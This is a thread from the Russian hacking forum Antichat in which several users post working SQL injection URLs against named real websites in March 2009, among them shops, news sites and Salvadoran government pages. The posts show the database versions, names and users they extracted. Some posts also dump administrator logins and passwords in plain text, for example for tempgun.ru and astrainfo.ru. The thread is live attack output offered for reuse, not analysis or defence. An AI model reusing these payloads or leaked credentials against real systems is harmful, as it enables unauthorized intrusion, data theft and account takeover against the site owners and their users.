ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #8351  
Старый 14.03.2009, 21:02
z00MAN
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
Провел на форуме:
2358980

Репутация: 930
По умолчанию

Чехия . ру - все о Чехии
Код:
http://www.czechia.ru/firms/index.html?id=-14+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat(user(),0x3a,database(),0x3a,version()),15,16,17--
user(): amigo-tours@zvm14.host.ru
database(): amigo-tours
version(): 4.0.27-log

PR=3
 
Ответить с цитированием

  #8352  
Старый 14.03.2009, 21:30
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

http://www.autofavorit.ro/chestionare.php?numar=-19+union+select+1,2,concat_ws(0x3a,version(),datab ase(),user()),4,5,6,7,8,9,10/*


Database Version: 4.1.22-standard
Database name: auto_all
User name: auto_admin@localhost
 
Ответить с цитированием

  #8353  
Старый 15.03.2009, 01:42
ph1l1ster
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме:
2075230

Репутация: 462
Отправить сообщение для ph1l1ster с помощью ICQ
По умолчанию

Код:
http://www.warcraftparadise.com/articles.php?id=-13+union+select+1,concat(user(),0x3a,version()),3,4,5,6,7,8,9/*
Database Version: 4.1.22-standard
Database name: warcraft_articles
User name: warcraft_user@localhost

Код:
http://www.teplovod.ru/articles.php?id=13+UNION+SELECT+1,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),3,4,5,6,7,8,9,10,11,12,13,14
Database Version: 5.0.24-standard
Database name: db_teplovod2
User name: teplovod2@localhost
 
Ответить с цитированием

  #8354  
Старый 15.03.2009, 12:51
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

Код:
http://www.md-tuning.de/Felge-ALU-Winter-Dotz-Imola-Focus-I-Typ-DAW-DBW-DNW.php?Rubrik=Reifen&ID=-21095+union+select+1,2,version(),4,5,6,7,8,9,10,11,12&tuning=tuning
4.0.24
 
Ответить с цитированием

  #8355  
Старый 15.03.2009, 14:42
ph1l1ster
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме:
2075230

Репутация: 462
Отправить сообщение для ph1l1ster с помощью ICQ
По умолчанию

Код:
http://www.arthobbs.com/articles.php?Submit=view&id=13+union+select+1,concat(version(),0x3a,user()),3,4,5
Database Version: 5.0.67-community
Database name: arthobbs_art
User name: arthobbs_site@localhost

Код:
http://www.perio.com.ua/articles.php?id=-13+union+select+1,concat(version(),0x3a,user()),3,4,5,6
Database Version: 5.0.41-community-log
Database name: indianem_yana_db
User name: indianem_yana@localhost

Код:
http://www.leannashville.com/fitness_health/articles.php?ID=-13+union+select+1,2,concat(username,0x3a,password),4,5,6+from+users
Database Version: 5.0.67-log
Database name: lean_db
User name: lean@216.185.128.200

Код:
http://www.eoe-tata.com/articles.php?id=-13+union+select+1,concat(login,0x3a,pass)+from+admins
Database Version: 5.0.67-log
Database name: eoetata
User name: dbuser@dasani.dreamhost.com
 
Ответить с цитированием

  #8356  
Старый 15.03.2009, 16:08
farex
Banned
Регистрация: 11.03.2009
Сообщений: 214
Провел на форуме:
914766

Репутация: 317
По умолчанию

http://tempgun.ru

Цитата:
http://tempgun.ru/show_part.php?id=-2+union+select+concat_ws(0x3a,login,pass,ip,name)+ from+test.1ckkm_adm_usr--
database: 5.0.67
name_datebase: tempgun_1

Login: admin
Pass: 12345
IP: 82.142.140.130

http://tempgun.ru/admin
 
Ответить с цитированием

  #8357  
Старый 15.03.2009, 19:15
f1ng3r
Участник форума
Регистрация: 14.01.2009
Сообщений: 257
Провел на форуме:
1936181

Репутация: 688
Отправить сообщение для f1ng3r с помощью ICQ
По умолчанию

Код:
http://www.astrainfo.ru/cataloque.php?id=-1+union+select+1,concat _ws(0x3a,version(),database(),user()),3,4--
Database Version : 4.0.26
Database name : wwwastrainforu
User name : astrainf@box.hc.ru


админы :


Код:
http://www.astrainfo.ru/cataloque.php?id=-1+union+select+1,concat_ ws(0x3a,login,passwd),3,4+From+users--
Код:
astra:astra0311
perfex:perf0410
baltm_rostov:balt0610
servico:serv0311
bsv:bsv1912
 
Ответить с цитированием

  #8358  
Старый 15.03.2009, 19:19
fedi
Новичок
Регистрация: 13.03.2009
Сообщений: 6
Провел на форуме:
18913

Репутация: 3
По умолчанию

http://darkomen.ru/?go=19&indx=1304+union+select+1,2,@@version,4,5,6, 7,8,9,0,11,12--
Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
http://darkomen.ru/?go=19&indx=1304+union+select+1,2,user_name(n),4,5 ,6,7,8,9,0,11,12--
Пользователи: public,dbo,guest вывел через user_name(n) for n=0,1,2
С помощью DB_NAME(n) перебирая n я нашел еще
http://darkomen.ru/?go=19&indx=1304+union+select+1,2,DB_NAME(n),4,5,6 ,7,8,9,0,11,12-- for n=1....10
1)master
2)tempdb
3)model
4)msdb
5)lin2db
6)lin2comm
7)l2gloss
8)lin2world
9) lin2log
10)lin2clancomm
 
Ответить с цитированием

  #8359  
Старый 15.03.2009, 19:23
Rubaka
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973

Репутация: 466
Отправить сообщение для Rubaka с помощью ICQ
По умолчанию

http://www.tathaastumag.com/static.php?pid=-1/**/UNION/**/SELECT/**/1,2,3/**//*

Database Version: 4.1.22
Database name: tathaastumag
User name: tathaastumag@web535
 
Ответить с цитированием

  #8360  
Старый 15.03.2009, 19:46
ПаВлУшКа
Новичок
Регистрация: 08.02.2009
Сообщений: 24
Провел на форуме:
81772

Репутация: 10
Отправить сообщение для ПаВлУшКа с помощью ICQ
По умолчанию

Код:
http://www.conadel.gob.sv/noticia.php?id=-11+union+select+1,version(),3,4,5,6,7,8,9,10--
Код:
http://www.coes.org.sv/noticias.php?id=-232+union+select+version(),2,3,4,5--
Код:
http://www.mangoymar.com/eng/hotels_view.php?id=-2+union+select+1,2,3,version(),5,6,7,8--
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ